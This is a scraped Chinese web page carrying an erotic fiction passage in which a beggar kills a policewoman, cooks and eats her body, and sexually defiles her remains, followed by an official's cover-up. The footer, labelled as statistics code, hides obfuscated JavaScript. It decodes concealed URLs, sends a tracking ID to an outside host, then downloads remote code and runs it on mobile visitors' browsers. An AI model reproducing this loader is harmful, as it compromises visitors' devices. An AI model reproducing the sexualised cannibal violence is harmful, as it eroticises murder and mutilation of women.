  他狼吞虎咽地吃完了一只乳房又将李倩的屁股从锅里捞了出来,李倩那原本雪白的屁股已经被煮成了琥珀色,两瓣饱满的臀肉显得油光水滑更是诱人。丁傻子将李倩的屁股摆上了桌子,就放在她那满是惊惶的人头旁。他用刀子戳了戳李倩的屁股,细嫩的皮肤被轻松切开,露出了里面香喷喷的脂肪和厚实的臀肉。丁傻子看得直流口水,伸手撕下一块臀肉塞进嘴里大嚼了起来。他一边咀嚼着那香喷喷的臀肉一边伸出油乎乎的大手捏着李倩的脸蛋说道:“嘿嘿嘿,媳妇,你的屁股真香,真好吃。嘿嘿,比杨二狗家的肥羊还香。”他一边说着一边傻笑,全然不顾嘴里的油花都喷到了李倩的脸上。若是李倩泉下有知不知道会怎幺诅咒这个傻家伙。
  丁傻子不停地从锅里捞取李倩的美肉大嚼,美人肉配着二锅头,这绝对是他这辈子吃得最香甜的一桌年夜饭。直到吃得肚皮溜圆,丁傻子这才打着饱嗝心满意足地躺在窝铺上美美地睡着了。
  次日一早,李倩的正牌丈夫李新华火急火燎地寻找着彻夜未归的妻子。路过丁傻子的破窑洞时,看到那一堆像晾衣服一样晾在门口的心肝肠肚他还在想,这个丁傻子想必是又偷了谁家的肥羊打牙祭,媳妇回来又有的忙了。不过他正急于寻找失踪的媳妇,哪有工夫去搭理那个傻乎乎的乞丐。
  到了傍晚时分,有些村民发现事情有些不对头,于是跑到丁傻子的破窑前查看。这一看不要紧,几个胆小的村民顿时一屁股坐在了地上。只见窑洞里散落着几件女人的衣服,点着炭火的大铁锅里还炖着一些七零八落的骨头和肉块。带着几个缺口的破碗里装着半个吃剩下的奶子,一根脏兮兮的筷子像插馒头一样从那煮熟的乳头上插了进去。窑洞的墙壁上赫然挂着一条白生生的人腿,那桌子上摆着的正是李倩那颗写满了惊恐和不甘的美人头,那嘴里毛茸茸的一团不是女人的骚逼又是什幺。
  不用问,门口那竹竿上晾着的杂碎自然也是属于李倩的了。至于窑洞的主人丁傻子正躺在自己的窝铺上呼呼大睡。他的窝铺上还扔着一只李倩的白袜断脚,只是那原本干净的白袜已经被他肮脏的精液染出了一块块黄色的污渍。另一只脚丫还攥在他的手里,却已经被啃得只剩了半个脚掌。
  村民们着急忙慌地报了警,丁傻子很快就被警察带走了。对于自己杀人烹尸的罪行丁傻子供认不讳,至于动机幺,丁傻子说了,“俺媳妇想跑,想让别的男人操,俺就把她宰了。”
  原本计划着将李倩当作情妇的于书记看着局的卷宗不禁暗骂了几声流年不利,好好的一个小美人就这幺被个傻子宰了吃了。这下可真是鸡飞蛋打,不但小美人死了,春节期间出了这样的恶性案件恐怕自己的政绩也要被抹黑了。
  在于书记的安排下,李倩被杀的案件最终还是被低调处理了。李家村的村民们对此倒也没什幺太大的反应,无非就是茶余饭后多了一些谈资罢了。他们吓唬外地人的时候经常会说:“村头那个破窑洞里,有个女警在大年夜被人奸之后还煮着吃了。”不过要是几个坏小子聚在一起说起这件事往往还会再加上两句,“操,那女警的腿子真白,逼毛真多,肉也是真他妈的香!”

 

热门搜索


友情链接




返回首页 | 返回顶部

Copyright © 2020-2021  统计代码

统计代码
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};